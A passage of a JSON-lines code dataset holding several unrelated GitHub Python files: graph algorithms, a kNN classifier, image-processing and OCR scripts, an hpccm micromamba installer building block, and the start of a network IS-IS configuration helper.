prev_vertex_marks, v_from, v_to, weight, last_relaxed_vertices):\n    new_mark = marks[v_from] + weight\n    if marks[v_to] is None or marks[v_to] > new_mark:\n        marks[v_to] = new_mark\n        prev_vertex_marks[v_to] = v_from\n        last_relaxed_vertices.append(v_from)\n\n\nclass TestCase(unittest.TestCase):\n    def test_simple(self):\n        graph = Graph(6)\n\n        graph.add(0, 1, 3)\n        graph.add(0, 2, 15)\n        graph.add(1, 2, 7)\n        graph.add(1, 3, 2)\n        graph.add(2, 4, 5)\n        graph.add(3, 2, 1)\n        graph.add(3, 5, 20)\n        graph.add(4, 3, 3)\n        graph.add(4, 5, 4)\n\n        marks, prev_vertex_marks, last_relaxed_vertices = bellman_ford(graph, 0)\n        expected_marks = [0, 3, 6, 5, 11, 15]\n\n        self.assertListEqual(marks, expected_marks)\n\n    def test_neg_cycle(self):\n        graph = Graph(3)\n\n        graph.add(0, 1, 10)\n        graph.add(1, 2, -5)\n        graph.add(2, 0, -6)\n\n        marks, prev_vertex_marks, neg_cycle_vertices = bellman_ford(graph, 0)\n        expected_neg_cycle_vertices = [0, 1, 2]\n\n        self.assertListEqual(expected_neg_cycle_vertices, neg_cycle_vertices)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"dkositsyn/graph_algorithms","sub_path":"bellman_ford.py","file_name":"bellman_ford.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"33633116921","text":"from repoze.what.predicates import *\n\nclass is_admin(Predicate):\n    \"\"\"\n    Ensures that given account has the `is_admin` flag set.\n    Asserts that :doc:`ext_who` is configured correctly.\n\n    To get this work you need to have at least one admin user::\n\n        $ ./manage.py shell\n        >>> from tool.ext.who import User\n        >>> user = User.objects(db)[0]   # make sure it's you ;-)\n        >>> user.is_admin = True\n        >>> user.save()\n\n    Okay, that's enough to let you in through the protected views.\n    \"\"\"\n    message = 'The current user must be admin'\n    def evaluate(self, environ, credentials):\n        try:\n            user = environ['repoze.who.identity']['instance']\n        except KeyError:\n            self.unmet('Could not identify user: environ not ready?')\n        if not user.is_admin:\n            # Raise an exception because the predicate is not met.\n            self.unmet()\n\n","repo_name":"MaXin-noob/principles-of-Computer","sub_path":"computer/venv/Lib/site-packages/tool/ext/what/predicates.py","file_name":"predicates.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"51"}
+{"seq_id":"28811679280","text":"import pandas as pd\nimport numpy as np\nimport time\n\n# to eliminate error -> 'A value is trying to be set on a copy of a\n# slice from a DataFrame'\npd.options.mode.chained_assignment = None\n\n# import data as Dataframe Pandas\ndf = pd.read_csv('Diabetes.csv')\n\n\ndef fill_zero_values(df):\n    for i in df.iloc[:, :8]: df[str(i)].replace(to_replace=0, value=df[str(i)].mean(), inplace=True)\n\n\ndef minmax(dataset):\n    for i in dataset:\n        min_val = dataset[str(i)].min()\n        max_val = dataset[str(i)].max()\n        for j in range(dataset.shape[0]):\n            dataset[str(i)].iloc[j] = (dataset[str(i)].iloc[j] - min_val) / (max_val - min_val)\n\n\ndef euclidean(data_test, data_train):\n    return np.sqrt(np.sum((np.subtract(data_test, data_train)) ** 2, axis=1))\n\n\ndef calculate_distance(test_data, train_data):\n    temp = np.zeros((train_data.shape[0], 2))\n    temp[:, 0] = euclidean(test_data, train_data.iloc[:, :8])\n    temp[:, 1] = train_data['Outcome']\n    return temp\n\n\ndef min_distance(k, temp):\n    return temp[np.argpartition(temp, kth=(k - 1), axis=0, )[:k, 0]]\n\n\ndef get_most_occurrences(calon_chosen):\n    return np.bincount(calon_chosen[:, 1].astype('int32')).argmax()\n\n\ndef classification(k, test_data, train_data):\n    for i in range(test_data.shape[0]):\n        distance = calculate_distance(test_data.iloc[i, :8], train_data)\n        test_data['Outcome'].iloc[i] = get_most_occurrences(min_distance(k, distance))\n\n\ndef calculate_accuracy(test_data, accuracy_data):\n    temp = 0\n    for i in range(test_data.shape[0]):\n        if test_data[\"Outcome\"].iloc[i] == accuracy_data['Outcome'].iloc[i]:\n            temp += 1\n    return (temp / test_data.shape[0]) * 100\n\n\ndef main():\n    print(\"Preprocessing Data...\")\n    fill_zero_values(df)\n    minmax(df)\n    print(\"Preprocessing Data finish\")\n\n    # Declaration of every fold\n    train_fold1 = df.iloc[:614].copy()\n    test_fold1 = df.iloc[614:].copy()\n    test_acc_fold1 = df.iloc[614:]\n\n    train_fold2 = pd.concat([df.iloc[:461], df.iloc[615:768]])\n    test_fold2 = df.iloc[461:615].copy()\n    test_acc_fold2 = df.iloc[461:615]\n\n    train_fold3 = pd.concat([df.iloc[:307], df.iloc[461:768]])\n    test_fold3 = df.iloc[307:461].copy()\n    test_acc_fold3 = df.iloc[307:461]\n\n    train_fold4 = pd.concat([df.iloc[:154], df.iloc[308:768]])\n    test_fold4 = df.iloc[154:308].copy()\n    test_acc_fold4 = df.iloc[154:308]\n\n    train_fold5 = df.iloc[154:768].copy()\n    test_fold5 = df.iloc[:154].copy()\n    test_acc_fold5 = df.iloc[:154]\n\n    best_k = 0\n    best_avg_acc = 0\n    best_avg_folds = []\n\n    start = time.time()\n\n    # looping to finds the best k value with a limit of 50 iterations\n    print(\"Finding the best k value (process takes approx. 1.5 minute)...\")\n    for i in range(50):\n        # makes k an odd value\n        k = 2 * i + 1\n\n        classification(k, test_fold1, train_fold1)\n        classification(k, test_fold2, train_fold2)\n        classification(k, test_fold3, train_fold3)\n        classification(k, test_fold4, train_fold4)\n        classification(k, test_fold5, train_fold5)\n\n        acc_fold1 = calculate_accuracy(test_fold1, test_acc_fold1)\n        acc_fold2 = calculate_accuracy(test_fold2, test_acc_fold2)\n        acc_fold3 = calculate_accuracy(test_fold3, test_acc_fold3)\n        acc_fold4 = calculate_accuracy(test_fold4, test_acc_fold4)\n        acc_fold5 = calculate_accuracy(test_fold5, test_acc_fold5)\n\n        avg_acc = (acc_fold1 + acc_fold2 + acc_fold3 + acc_fold4 + acc_fold5) / 5\n\n        if avg_acc > best_avg_acc:\n            best_avg_acc = avg_acc\n            best_k = k\n            best_avg_folds = [acc_fold1, acc_fold2, acc_fold3, acc_fold4, acc_fold5]\n\n    print('The best k value:', best_k)\n    print('Accuracy on Fold 1:', round(best_avg_folds[0], 2), \"%\")\n    print('Accuracy on Fold 2:', round(best_avg_folds[1], 2), \"%\")\n    print('Accuracy on Fold 3:', round(best_avg_folds[2], 2), \"%\")\n    print('Accuracy on Fold 4:', round(best_avg_folds[3], 2), \"%\")\n    print('Accuracy on Fold 5:', round(best_avg_folds[4], 2), \"%\")\n    print('Average Accuracy:', round(best_avg_acc, 2), \"%\")\n    end = time.time()\n    print('Process time for finding best k:', round(end - start, 2),'s')\n\n\nmain()\n","repo_name":"sir-hadi/k-Nearest-Neighboar","sub_path":"k_Nearest_Neighboar.py","file_name":"k_Nearest_Neighboar.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"14372493726","text":"from random import randint\nvictory = 0\n\nprint('='*50)\nprint(f'{\"PAR OU ÍMPAR\":^50}')\nprint('='*50)\nwhile True:\n    pc = randint(1, 10)\n    while True: \n        escolha = str(input('Qual você escolhe?[P/I]: ')).strip().upper()\n        if escolha not in ['P', 'PAR', 'I', 'IMPAR', 'ÍMPAR']:\n            print('Valor Inválido! Tente novamente.')\n        else:\n            break \n    num = int(input('Qual número vai jogar? '))\n    if (pc + num) % 2 == 0:\n        resul = ['P', 'PAR']\n        resul_text = 'Par'\n    else:\n        resul = ['I', 'IMPAR', 'ÍMPAR']\n        resul_text = 'Ímpar'\n    print('-='*30)\n    print(f'Você jogou {num} e o computador {pc} e o total foi {num + pc} portanto deu {resul_text}')\n    if escolha in resul:\n        print('\\033[32mVocê Ganhou! Continue jogando...\\033[m')\n        victory += 1\n    else:\n        print('\\033[31mVocê perdeu!\\033[m')\n        break\n    print()\nprint(f'Total de vitórias: {victory}')\n","repo_name":"jotmar/Python_CeV","sub_path":"Exercicios/Ex_068.py","file_name":"Ex_068.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"36079459534","text":"import cv2\r\nfrom matplotlib import pyplot as plt\r\nimport imutils\r\nimport easyocr\r\nimport numpy as np\r\nfrom pandas import read_excel\r\n\r\nimg = cv2.imread('image4.jpg')#COLOR_BGR2GRAY\r\ngray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)         # convert single color code to different one\r\nplt.imshow(cv2.cvtColor(gray,cv2.COLOR_BGR2RGB))    # Reason for conversion : matplotlib expects RGB\r\nplt.show()\r\n\r\n\r\n# Apply filter and find edges for localization #\r\n# Filter -> remove noise\r\nbfilter = cv2.bilateralFilter(gray,11,17,17)\r\nedged = cv2.Canny(bfilter,30,200)   # edge detection : where is number plate?\r\nplt.imshow(cv2.cvtColor(edged,cv2.COLOR_BGR2RGB)) \r\nplt.show()\r\n\r\n\r\n# Find Contours and Apply Mask #\r\nkeypoints = cv2.findContours(edged.copy(),cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)    \r\ncontours = imutils.grab_contours(keypoints)\r\ncontours = sorted(contours,key=cv2.contourArea,reverse=True)[:10]                  \r\n\r\n# iterate through returned contours and check if there are 4 keypoints in it or not? in other words whether it is a number plate or not?\r\nlocation = None\r\nfor contour in contours:\r\n    approx = cv2.approxPolyDP(contour,10,True)\r\n    if len(approx) == 4:\r\n        location = approx\r\n        break\r\n\r\nprint(location)\r\n\r\n# masking to isolate the number plate section\r\nmask = np.zeros(gray.shape,np.uint8)\r\nnew_image = cv2.drawContours(mask,[location],0,255,-1)\r\nnew_image = cv2.bitwise_and(img,img,mask=mask)\r\n\r\nplt.imshow(cv2.cvtColor(new_image,cv2.COLOR_BGR2RGB))\r\nplt.show()\r\n\r\n# crop the number plate from black section\r\n(x,y) = np.where(mask==255)\r\n(x1,y1) = (np.min(x),np.min(y))\r\n(x2,y2) = (np.max(x),np.max(y))\r\ncropped_image = gray[x1:x2+1, y1:y2+1]\r\n\r\nplt.imshow(cv2.cvtColor(cropped_image,cv2.COLOR_BGR2RGB))\r\nplt.show()\r\n\r\n\r\n# use easy ocr to to read text\r\nreader = easyocr.Reader(['en'])\r\nresult = reader.readtext(cropped_image)\r\nprint(result)\r\n\r\n# from pandas import read_excel as rc\r\n# reading numbers from excel file\r\ndf = read_excel('db.xlsx')\r\n\r\nnotFound = True\r\n\r\nfor i in df['numbers']:\r\n    if i == result[0][-2]:    \r\n        print('Let the vehicle in.')\r\n        notFound = False\r\n        break\r\n\r\nif  notFound:    \r\n    print('Vehicle not registered')\r\n\r\n\r\n# render result #\r\ntext = result[0][-2]\r\nfont = cv2.FONT_HERSHEY_SIMPLEX\r\nres = cv2.putText(img, text=text, org=(approx[0][0][0], approx[1][0][1]+60), fontFace=font, fontScale=1, color=(0,255,0), thickness=2, lineType=cv2.LINE_AA)\r\nres = cv2.rectangle(img, tuple(approx[0][0]), tuple(approx[2][0]), (0,255,0),3)\r\nplt.imshow(cv2.cvtColor(res, cv2.COLOR_BGR2RGB))\r\nplt.show()\r\n","repo_name":"Azfar-Tariq/ANPR","sub_path":"Automatic Number Plate Detection/dip.py","file_name":"dip.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"23550262674","text":"# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n\nimport cv2 # IMAGE PROCESSING\nimport numpy as np\n\ndef empty(a):\n    pass\n\ndef put_text_on_image(img_in, text=None):\n    '''\n    Function to place text on an image indicating the type of transformation applied to image\n\n    :param img_in: image for text placement\n    :param text: indicates type of transformation applied to the image\n\n    :return img_out: resulting image labeled with the transformation type\n    '''\n    img_out = cv2.putText(img_in, text, (20, 75), cv2.FONT_HERSHEY_COMPLEX, 1.0, (255, 255, 255), 3)\n    return img_out\n\ndef stackImages(scale,imgArray):\n    rows = len(imgArray)\n    cols = len(imgArray[0])\n    rowsAvailable = isinstance(imgArray[0], list)\n    width = imgArray[0][0].shape[1]\n    height = imgArray[0][0].shape[0]\n    if rowsAvailable:\n        for x in range ( 0, rows):\n            for y in range(0, cols):\n                if imgArray[x][y].shape[:2] == imgArray[0][0].shape [:2]:\n                    imgArray[x][y] = cv2.resize(imgArray[x][y], (0, 0), None, scale, scale)\n                else:\n                    imgArray[x][y] = cv2.resize(imgArray[x][y], (imgArray[0][0].shape[1], imgArray[0][0].shape[0]), None, scale, scale)\n                if len(imgArray[x][y].shape) == 2: imgArray[x][y]= cv2.cvtColor( imgArray[x][y], cv2.COLOR_GRAY2BGR)\n        imageBlank = np.zeros((height, width, 3), np.uint8)\n        hor = [imageBlank]*rows\n        hor_con = [imageBlank]*rows\n        for x in range(0, rows):\n            hor[x] = np.hstack(imgArray[x])\n        ver = np.vstack(hor)\n    else:\n        for x in range(0, rows):\n            if imgArray[x].shape[:2] == imgArray[0].shape[:2]:\n                imgArray[x] = cv2.resize(imgArray[x], (0, 0), None, scale, scale)\n            else:\n                imgArray[x] = cv2.resize(imgArray[x], (imgArray[0].shape[1], imgArray[0].shape[0]), None,scale, scale)\n            if len(imgArray[x].shape) == 2: imgArray[x] = cv2.cvtColor(imgArray[x], cv2.COLOR_GRAY2BGR)\n        hor= np.hstack(imgArray)\n        ver = hor\n    return ver\n\n\n# define path to image\npath = r'/Users/jdhauswirth/PycharmProjects/pythonProjectHSV/resources/plant_400x400.png'\n\n# create a window that will have sliders to adjust RGB baleus\ncv2.namedWindow(\"TrackBars\")\ncv2.resizeWindow(\"TrackBars\", 640, 440)\n\n# these values are specific to the image  and will vary\n# with every image.   Demo video I watched showed the actual numeric\n# min max values on the track bar but on my mac I do not see values on window.\ncv2.createTrackbar(\"Hue Min\", \"TrackBars\",  28, 179, empty)\ncv2.createTrackbar(\"Hue Max\", \"TrackBars\",  91, 179, empty)\ncv2.createTrackbar(\"Sat Min\", \"TrackBars\",  43, 255, empty)\ncv2.createTrackbar(\"Sat Max\", \"TrackBars\", 255, 255, empty)\ncv2.createTrackbar(\"Val Min\", \"TrackBars\",  33, 255, empty)\ncv2.createTrackbar(\"Val Max\", \"TrackBars\", 255, 255, empty)\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n    while True:\n        # reading the original image\n        img = cv2.imread(path)\n\n        # convert to HSV image\n        #\n        # While in BGR, an image is treated as an additive result\n        # of three base colors (blue, green and red), HSV stands\n        # for Hue, Saturation and Value (Brightness). We can say that\n        # HSV is a rearrangement of RGB in a cylindrical shape.\n        # The HSV ranges are: 0 > H > 360 ⇒ OpenCV\n        imgHSV = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n        h_min = cv2.getTrackbarPos(\"Hue Min\", \"TrackBars\")\n        h_max = cv2.getTrackbarPos(\"Hue Max\", \"TrackBars\")\n        s_min = cv2.getTrackbarPos(\"Sat Min\", \"TrackBars\")\n        s_max = cv2.getTrackbarPos(\"Sat Max\", \"TrackBars\")\n        v_min = cv2.getTrackbarPos(\"Val Min\", \"TrackBars\")\n        v_max = cv2.getTrackbarPos(\"Val Max\", \"TrackBars\")\n        print(h_min, h_max, s_min, s_max, v_min, v_max)\n        lower = np.array([h_min, s_min, v_min])\n        upper = np.array([h_max, s_max, v_max])\n\n        # create mask in the range of the colors defined by range\n        mask = cv2.inRange(imgHSV, lower, upper)\n\n        # create resulting image\n        imgResult = cv2.bitwise_and(img, img, mask=mask)\n\n        # hiding show of individual windows by commenting out\n        # images will be shown below\n        # cv2.imshow(\"Original\", img)\n        # cv2.imshow(\"HSV\", imgHSV)\n        # cv2.imshow(\"Mask\", mask)\n        # cv2.imshow(\"Result\", imgResult)\n\n        # this will create a 2x2 stack of 4 images summarizing the progress\n        # from original, hsv, mask and the resulting image.\n\n        # lay text over images indicating image type\n        orig_w_txt = put_text_on_image(img, text='Orig')\n        HSV_w_txt = put_text_on_image(imgHSV, text='HSV')\n        mask_w_txt = put_text_on_image(mask, text='Mask')\n        imgResult_w_txt = put_text_on_image(imgResult, text='Result')\n\n        # create the panel composite stack of the images\n        imgStack = stackImages(0.8, ([orig_w_txt, HSV_w_txt], [mask_w_txt, imgResult_w_txt]))\n        cv2.imshow(\"Stacked Images for Color Detection - Use Track Bar sliders to adjust\", imgStack)\n\n        # write to PyCharm project folder for outputs\n        #cv2.imwrite('/Users/jdhauswirth/PycharmProjects/pythonProjectHSV/outputs/img_HSV_stack.jpg', imgStack)\n\n        # highlight output windows and press 'q' to quit\n        if cv2.waitKey(1) == ord('q'):\n            break\n        #cv2.destroyAllWindows()\n\n","repo_name":"jdhauswirth/OpenCV","sub_path":"Adjust_Image_HSV.py","file_name":"Adjust_Image_HSV.py","file_ext":"py","file_size_in_byte":5438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"34952338649","text":"# pylint: disable=invalid-name, too-few-public-methods\n# pylint: disable=too-many-instance-attributes\n\n\"\"\" mamba building block \"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\n\nfrom distutils.version import LooseVersion\nimport logging\nimport posixpath\n\nimport hpccm.config\nimport hpccm.templates.rm\nimport hpccm.templates.wget\nimport hpccm.templates.tar\n\nfrom hpccm.building_blocks.base import bb_base\nfrom hpccm.building_blocks.packages import packages\nfrom hpccm.common import cpu_arch\nfrom hpccm.primitives.comment import comment\nfrom hpccm.primitives.copy import copy\nfrom hpccm.primitives.shell import shell\nfrom hpccm.primitives.environment import environment\n\n\nclass mamba(bb_base, hpccm.templates.rm, hpccm.templates.wget, hpccm.templates.tar):\n    \"\"\"The `mamba` building block installs Mamba.\n\n    # Parameters\n\n    channels:\n\n    channels: List of additional Conda channels to enable.  The\n    default is an empty list.\n\n    environment: Path to the Conda environment file to clone.  The\n    default value is empty.\n\n    environment_name: Name of the environment to install. This correspond\n    to the name in the environment.yml file.\n\n    ospackages: List of OS packages to install prior to installing\n    Conda.  The default values are `ca-certificates` and `wget`.\n\n    packages: List of Conda packages to install.  The default is an\n    empty list.\n\n    prefix: The top level install location.  The default value is\n    `/opt/conda`.\n\n    # Examples\n\n    ```python\n    mamba(packages=['numpy'])\n    ```\n\n    ```python\n    mamba(channels=['conda-forge', 'nvidia'], prefix='/opt/conda')\n    ```\n\n    ```python\n    mamba(environment='environment.yml')\n    ```\n    \"\"\"\n\n    def __init__(self, **kwargs):\n        \"\"\"Initialize building block\"\"\"\n\n        super(mamba, self).__init__(**kwargs)\n\n        self.__arch_pkg = \"\"  # Filled by __cpu_arch()\n        self.__base_url = kwargs.get(\"baseurl\", \"https://micromamba.snakepit.net/api/micromamba\")\n        self.__channels = kwargs.get('channels', list())\n        self.__environment = kwargs.get('environment', None)\n\n        self.__ospackages = kwargs.get('ospackages', ['ca-certificates', 'wget'])\n        self.__packages = kwargs.get('packages', list())\n        self.__environment_name = kwargs.get(\"environment_name\", '')\n        self.__prefix = kwargs.get('prefix', '/opt/conda')\n        self.__advanced_cleanup = kwargs.get('advanced_cleanup', False)\n\n        self.__commands = []  # Filled in by __setup()\n        self.__wd = kwargs.get('wd', hpccm.config.g_wd)  # working directory\n\n        # Set the CPU architecture specific parameters\n        self.__cpu_arch()\n\n        # Construct the series of steps to execute\n        self.__setup()\n\n        # Fill in container instructions\n        self.__instructions()\n\n    def __instructions(self):\n        \"\"\"Fill in container instructions\"\"\"\n\n        self += comment('Mamba')\n        self += environment(variables={\"MAMBA_ROOT_PREFIX\": \"/opt/conda\"})\n        if self.__environment:\n            self += copy(src=self.__environment, dest=posixpath.join(\n                self.__wd, posixpath.basename(self.__environment)))\n        self += packages(ospackages=self.__ospackages)\n        self += shell(commands=self.__commands)\n\n    def __cpu_arch(self):\n        \"\"\"Based on the CPU architecture, set values accordingly.  A user\n        specified value overrides any defaults.\"\"\"\n\n        if hpccm.config.g_cpu_arch == cpu_arch.PPC64LE:\n            self.__arch_pkg = \"ppc64le\"\n        elif hpccm.config.g_cpu_arch == cpu_arch.X86_64:\n            self.__arch_pkg = \"64\"\n        elif hpccm.config.g_cpu_arch == cpu_arch.AARCH64:\n            self.__arch_pkg = \"aarch64\"\n        else:  # pragma: no cover\n            raise RuntimeError('Unknown CPU architecture')\n\n    def __setup(self):\n        \"\"\"Construct the series of shell commands, i.e., fill in self.__commands\"\"\"\n\n        # Check version\n        micromamba_distribution = \"linux-{0}/latest\".format(self.__arch_pkg)\n        url = \"{0}/{1}\".format(self.__base_url, micromamba_distribution)\n\n        # Download sources from web\n        self.__commands.append(\n            self.download_step(\n                url=url,\n                directory=self.__wd,\n                outfile=posixpath.join(self.__wd, \"micromamba.tar.bz2\")\n            )\n        )\n        self.__commands.append(\n            self.untar_step(\n                posixpath.join(self.__wd, \"micromamba.tar.bz2\"),\n                directory=posixpath.join(self.__prefix)\n            )\n        )\n\n        # Initialize mamba\n        micromamba = posixpath.join(self.__prefix, \"bin\", \"micromamba\")\n        self.__commands.append(\n            \"touch /root/.bashrc\"\n        )\n        self.__commands.append(\n            \"{0} shell init --shell bash -p {1}\".format(\n                micromamba,\n                self.__prefix\n            )\n        )\n        self.__commands.append(\n            \"grep -v '[ -z \\\"\\\\$PS1\\\" ] && return' /root/.bashrc  > {0}/.bashrc\".format(self.__prefix)\n        )\n\n        # Enable channels\n        _mamba_config = \"/root/.mambarc\"\n        self.__commands.append(\n            \"touch {0}\".format(_mamba_config)\n        )\n        self.__commands.append(\n            \"echo \\\"channels:\\\" > {0}\".format(_mamba_config)\n        )\n        if len(self.__channels) == 0:\n            # Need to have one (default) channel\n            self.__channels.append(\"conda-forge\")\n\n        for channel in self.__channels:\n            self.__commands.append(\n                \"echo \\\"  - {0}\\\" >> {1}\".format(channel, _mamba_config)\n            )\n\n        # # Install environment\n        if self.__environment:\n            self.__commands.append(\n                \"{0} create -y -f {1}\".format(\n                    micromamba,\n                    posixpath.join(self.__wd, posixpath.basename(self.__environment)),\n                )\n            )\n            self.__commands.append(\n                self.cleanup_step(\n                    items=[posixpath.join(self.__wd, posixpath.basename(self.__environment))]\n                )\n            )\n\n        # Install conda packages\n        if self.__packages:\n            if not self.__environment_name:\n                raise ValueError(\"An environment name should be given for the packages to be installed in!\")\n            self.__commands.append(\n                \"{0} create -y -n {1} {2}\".format(\n                    micromamba,\n                    self.__environment_name,\n                    ' '.join(sorted(self.__packages))\n                )\n            )\n            # self.__commands.append(\n            #     \"{0} activate {1}\".format(micromamba, self.__environment_name)\n            # )\n            # self.__commands.append('micromamba install -y {}'.format(\n            #     ' '.join(sorted(self.__packages))))\n\n        # Cleanup conda install\n        self.__commands.append(\n            \"{0} clean -afy\".format(micromamba)\n        )\n\n        # Advanced cleanup of packages\n        if self.__advanced_cleanup:\n            conda_env_path = posixpath.join(self.__prefix, \"envs\", self.__environment_name)\n            self.__commands.append(\n                self.cleanup_step(\n                    items=[\n                        posixpath.join(conda_env_path, \"bin\", \"sqlite3\"),\n                        posixpath.join(conda_env_path, \"bin\", \"openssl\"),\n                        posixpath.join(conda_env_path, \"share\", \"terminfo\"),\n                    ]\n                )\n            )\n            _find_string = \"find {0}/lib/python*/site-packages -type d\"\n            _exec_rm_string = \" -exec rm -rf '{}' '+'\"\n            self.__commands.extend([\n                _find_string.format(conda_env_path) + \" -name \\\"pip\\\"\" + _exec_rm_string,\n                _find_string.format(conda_env_path) + \" -name \\\"tests\\\"\" + _exec_rm_string,\n                _find_string.format(conda_env_path) + \" -name \\\"*.pyx\\\"\" + _exec_rm_string,\n                \"find {0}/lib/python*/ -type d\".format(conda_env_path) + \" -name \\\"ensurepip\\\"\" + _exec_rm_string,\n                \"find {0}/lib/python*/ -type d\".format(conda_env_path) + \" -name \\\"idlelib\\\"\" + _exec_rm_string,\n            ])\n\n        # Cleanup micromamba download file\n        self.__commands.append(\n            \"apt-get clean autoremove --yes\"\n        )\n        self.__commands.append(self.cleanup_step(items=[\"/var/lib/{apt,dpkg,cache,log}\"]))\n\n    def runtime(self, _from='0'):\n        \"\"\"Generate the set of instructions to install the runtime specific\n        components from a build in a previous stage.\n\n        # Examples\n\n        ```python\n        c = mamba(...)\n        Stage0 += c\n        Stage1 += c.runtime()\n        ```\n        \"\"\"\n        self.rt += comment('Mamba')\n        self.rt += copy(_from=_from, src=self.__prefix, dest=self.__prefix)\n        self.rt += copy(_from=_from, src=\"/root/.bashrc\", dest=\"/root/.bashrc\")\n        self.rt += environment(variables={\"PATH\": \"{0}:$PATH\".format(posixpath.join(self.__prefix, 'bin'))})\n\n        self.rt += shell(\n            commands=[\n                \"echo \\\"source {0}/etc/profile.d/micromamba.sh\\\" >> ~/.bashrc\".format(self.__prefix),\n                \"echo \\\"{0} activate {1}\\\" >> ~/.bashrc\".format(\"micromamba\", self.__environment_name)\n            ]\n        )\n        return str(self.rt)\n","repo_name":"jeroendecloet/hpccm-mamba","sub_path":"hpccm_mamba/mamba.py","file_name":"mamba.py","file_ext":"py","file_size_in_byte":9341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"10968672680","text":"# This line imports the needed Classes from jinja2\nfrom jinja2 import FileSystemLoader, Environment\n# This line imports the needed Functions from netmiko\nfrom netmiko import ConnectHandler\n# This line imports the os, sys, datetime, random, string, subprocess, concurrent.futures, ipaddress Modules\nimport os, sys, datetime, random, string, subprocess, concurrent.futures, ipaddress\n# This line imports the variables file (it should be placed in the same directory with the python script)\nfrom var_file import *\n\n\ndef targets():\n    # A function to get LISTS with ipv4 management addresses of DEVICES per ISIS LEVEL.\n\n    print(\"\\033[1;93m\")\n    print(\"These loops assisting you to define the devices (ipv4 management addresses, eg 10.0.0.1) for ISIS configuration!\")\n    print(\"To quit each loop enter 'EXIT' (case sensitive) and press ENTER!\")\n    print(\"\\033[0m\")\n\n    track_input = 1\n\n    while track_input == 1:\n        user_input = input(\"\\033[1;93m Enter the ipv4 address (management address) of the L1_ONLY devices and press ENTER \\n: \\033[0m\")\n        if user_input == \"EXIT\":\n            track_input = 2\n            print(\"\\033[1;93m Exit the L1_ONLY devices loop! \\033[0m\")\n        else:\n            L1_ONLY_TARGETS_LIST.append(user_input)\n\n    while track_input == 2:\n        user_input = input(\"\\033[1;93m Enter the ipv4 address (management address) of the L2_ONLY devices and press ENTER \\n: \\033[0m\")\n        if user_input == \"EXIT\":\n            track_input = 12\n            print(\"\\033[1;93m Exit the L2_ONLY devices loop! \\033[0m\")\n        else:\n            L2_ONLY_TARGETS_LIST.append(user_input)\n\n    while track_input == 12:\n        user_input = input(\"\\033[1;93m Enter the ipv4 address (management address) of the L1L2 devices and press ENTER \\n: \\033[0m\")\n        if user_input == \"EXIT\":\n            track_input = 0\n            print(\"\\033[1;93m Exit the L1L2 devices loop! \\033[0m\")\n        else:\n            L1L2_TARGETS_LIST.append(user_input)\n\n    print(\"\\033[1;92m\")\n    print(\"The devices are in the following LISTS per LEVEL!\")\n    print(\"L1_ONLY devices!\")\n    print(L1_ONLY_TARGETS_LIST)\n    print(\"L2_ONLY devices!\")\n    print(L2_ONLY_TARGETS_LIST)\n    print(\"L1L2 devices!\")\n    print(L1L2_TARGETS_LIST)\n    print(\"\\033[0m\")\n\n\ndef hosts(LIST_1, LIST_2, LIST_3):\n    # A function to get LISTS with dictionaries of DEVICES per ISIS LEVEL.\n\n    for element_1 in LIST_1:\n        for element_2 in HOSTS_LIST:\n            if (\"host\", element_1) in element_2.items():\n                L1_ONLY_HOSTS_LIST.append(element_2)\n\n    for element_3 in LIST_2:\n        for element_4 in HOSTS_LIST:\n            if (\"host\", element_3) in element_4.items():\n                L2_ONLY_HOSTS_LIST.append(element_4)\n\n    for element_5 in LIST_3:\n        for element_6 in HOSTS_LIST:\n            if (\"host\", element_5) in element_6.items():\n                L1L2_HOSTS_LIST.append(element_6)\n\n    print(\"\\033[1;92m\")\n    print(\"The L1_ONLY hosts information are in the following LIST\")\n    print(L1_ONLY_HOSTS_LIST)\n    print(\"The L2_ONLY hosts information are in the following LIST\")\n    print(L2_ONLY_HOSTS_LIST)\n    print(\"The L1L2 hosts information are in the following LIST\")\n    print(L1L2_HOSTS_LIST)\n    print(\"\\033[0m\")\n\n\ndef target_area_pairs():\n    # A function to get LIST with pairs of ipv4 management address and 4-digits area.\n\n    print(\"\\033[1;93m\")\n    print(\"This loop assisting you to define the pairs of target (ipv4 management address) and 4-digits area for ISIS configuration (eg 10.0.0.1/0034)!\")\n    print(\"To quit the loop enter 'EXIT' (case sensitive) and press ENTER!\")\n    print(\"\\033[0m\")\n\n    track_input = 1\n\n    while track_input == 1:\n        user_input = input(\"\\033[1;93m Enter a pair of target (ipv4 management addresses) and 4-digits area for ISIS configuration (eg 10.0.0.1/0034) and press ENTER \\n: \\033[0m\")\n        if user_input == \"EXIT\":\n            track_input = 2\n            print(\"\\033[1;93m Exit the L1_ONLY targets loop! \\033[0m\")\n        else:\n            TARGET_AREA_PAIRS_LIST.append(user_input)\n\n    print(\"\\033[1;92m\")\n    print(\"The pairs of target (ipv4 management address) and 4-digits area for ISIS configuration are in the following LIST\")\n    print(TARGET_AREA_PAIRS_LIST)\n    print(\"\\033[0m\")\n\n\ndef isis_networks():\n    # A function to get LISTS with networks per ISIS LEVEL.\n\n    print(\"\\033[1;93m\")\n    print(\"These loops assisting you to define the ISIS enabled networks (eg 10.0.3.4/23) per LEVEL!\")\n    print(\"To quit each loop enter 'EXIT' (case sensitive) and press ENTER!\")\n    print(\"\\033[0m\")\n\n    track_input = 1\n\n    while track_input == 1:\n        